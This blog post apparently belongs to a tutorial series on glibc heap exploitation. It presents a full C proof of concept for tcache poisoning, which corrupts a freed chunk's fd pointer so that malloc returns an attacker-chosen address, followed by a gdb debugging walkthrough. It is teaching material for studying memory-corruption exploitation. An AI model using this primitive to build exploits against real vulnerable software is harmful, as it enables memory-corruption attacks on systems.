As I was learning some stuff about TCache, and its lack of checks, it came patent that some of those already mitigated attacks were available once again. I was especially concerned about how the TCache bin was managed, and thus decided to go a little deeper. There’s many checks being overlooked due to performance reasons.

What would happen if we issue a free over a pointer obtained via malloc and then modify something inside it, will it be actually disrupting the heap management? >)

Let’s find out

As explained on previous posts, the freebins are used to keep track of the previously allocated chunks of memory. The chunk structure is constructed adding a couple fields before the actual data we can play with, and by reusing some of the bytes we requested, to fill them with pointers to the next/previous items in the list, as well as their sizes.

So far so good.

TCache Poisoning

tcache_poisoning.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>

struct forged_chunk {
    size_t prev_size;
    size_t size;
    struct forged_chunk *fd;
    struct forged_chunk *bk;
        /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk* bk_nextsize;
};


struct forged_chunk *freed_to_chunk(void *p) {
    return p - offsetof(struct forged_chunk, fd);
}

int main() {
    void *a = malloc(10);
    char victim_data[] = "DeadCafeF0";
    printf("[i] Allocated a\n\t|...a@%p\n", a);

    struct forged_chunk f_chunk;
    printf("[i] Allocated a forged_chunk\n");
       printf("\t|...f_chunk@%p\n", &f_chunk);


    f_chunk.size = 0x20; // 0x20 if 64b, 0x10 if 32b
    printf("[i] Attackers data\n");
       printf("\t|...&f_chunk.fd@%p\n", &f_chunk.fd);

    f_chunk.fd = victim_data;

    printf("[i] Allocated stuff in forged_chunk\n");
            printf("\t|...%s\n", (char*)f_chunk.fd);
    free(a);
            printf("\t|...a@%p got freed-up\n\n", a);

    struct forged_chunk *c_a = freed_to_chunk(a);
    printf("[*] TCACHE BIN CURRENT STATE\n");
        printf("\t|...head[fd] -> a[fd] -> %p -> tail\n", c_a->fd);//a);
        printf("\t\t|...Messing up fastbin-chunk\n");
        printf("\t\t|...Swapping a->fd to f_chunk->fd@%p\n\n", &f_chunk.fd);

    c_a->fd = (char*)&f_chunk.fd;

    printf("[*] TCACHE BIN MESSED UP STATE\n");
        printf("\t|...head[fd] -> a[fd] -> %p -> tail\n\n", c_a->fd);

    printf("[i] Allocating 10 bytes to get rid of a\n");
    void * c = malloc(10);
        printf("\t|...allocated _@%p\n\n", c);

    char *victim = (char*) malloc(10);
    printf("[*] Requesting another 10 bytes\n");
        printf("\t|...victim@%p\n\t\t|...== f_chunk->fd@%p\n\n", victim, &f_chunk.fd);

    printf("[*] Printing out *victim allocated memory:\n");
        printf("\t|...%s\n", *(char**)victim);

    free(c);
    return 0;
}

This is a rather lengthly code, however most of it is just printf and the code is pretty self-explanatory.

As stated before, our idea here is to disrupt the TCache linked-list structure in order to confuse the heap manager to make it return an arbitrary pointer on our next allocation.

To recap some of the stuff learned before:

  • If we malloc some bytes (up to 1032B on a 64bit arch and 516 on a 32bit arch counting with the overheading) we get a pointer that will likely end up in a TCache bin once freed.
  • If we free that pointer, and there’s less than 7 chunks already in the TCache bin for that size, the chunk will be referenced at the TCache bin structure as the next chunk to be returned for a new allocation of that size.
  • If we malloc again the same amount of bytes, then we get the very same chunk we got before.

If, for some reason, we would be able to modify the fd pointer of a freed chunk in the TCache bin, the next-next malloc request will return the modified pointer. The first next is the actual and real chunk. The second one, is our forged chunk at some random address.

Let’s take a look at this particular behavior by debugging the provided example.

You can compile the code with

gcc tcache_poisoning.c -Wall -ggdb -o tcache_poisoning

Debugging the TCache poisoning

Giving that there’s a ton of printf coded to aid in how the heap looks like, we’re going to use gdbserver to run in a separate shell so we can see the program’s output.

Let’s run it: gdbserver :9999 ./tcache_poisoning and in another shell: gdb ./tcache_poisoning -q

Fire-up gdbserver and gdb

Still, we need to connect both sessions, so run target remote 127.0.0.1:9999 at the gdb shell.

Connect to remote target

It will spit a lot of info and will break at the entry point.

Connect to remote target

Place a breakpoint at main b main and let it continue c:

Break at main

I’m going to let it run until line 48 of our code, n 18, and then we’ll take a look at the heap status :)

TCache bin status

Well, apparently the TCache has our just freed chunk right there. By inspecting the heap with some of those handful tools we installed in the third part of the HeapSeries, we can see if this is actually true:

TCache bin status

Nice. It seems the FD of our chunk points to 0x0, thus the (nil) thing printed above. That’s the pointer we want to modify.

Hit next a couple times more until we get line 48 executed and some more info printed out for us:

TCache bin to be messed up

Good, so we definitely messed with the TCache bin linked list.

TCache bin status

Worse than we thought:

TCache bin so weird...

As we can see, the TCache bin looks pretty foo-up right now…

  • The first chunk to be returned on the next malloc request will be 0x555555559260
  • The next one will be our forged chunk @0x7fffffffe210. Which, at the same time points to another address (0x7fffffffe235), which finally points to our string. That’s the reason for the double dereference at line 62 of our code. (More on this later)

If we let it run for a little bit more, we can see how, by requesting malloc twice, our victim makes its appearance and it points to the same address as our forged chunk.

Victim address!

Finally, let it continue to the end so we’ll see how it prints the victim buffer from our forged chunk address:

Buffer print!


Conclusions

TCache was a great performance improvement introduced into GLIBC implementation, however, it comes at a cost.

Some of the mitigations put in place are rendered useless when it comes to using TCache. So, everytime you’re exploiting some random heap-related vulnerability, keep on mind that the implementation differs from one version to another.

Hint hint!

If you’re wondering why we didn’t just strcpy the string buffer into the c_a.fd so it could be accessed directly instead of using a double dereference, I’d like to point you to GLIBC2.28 implementation (yikes…) where you will find that at some point in the memory allocation, the bk is set to NULL thus string terminating our buffer, as you can see in the following img.

But hey, don’t trust me: Here, try it yourself with a modified code ;)

Malloc.c internals

References

A lot of them, to be honest :D Check out the references for the HeapSeries and some more here: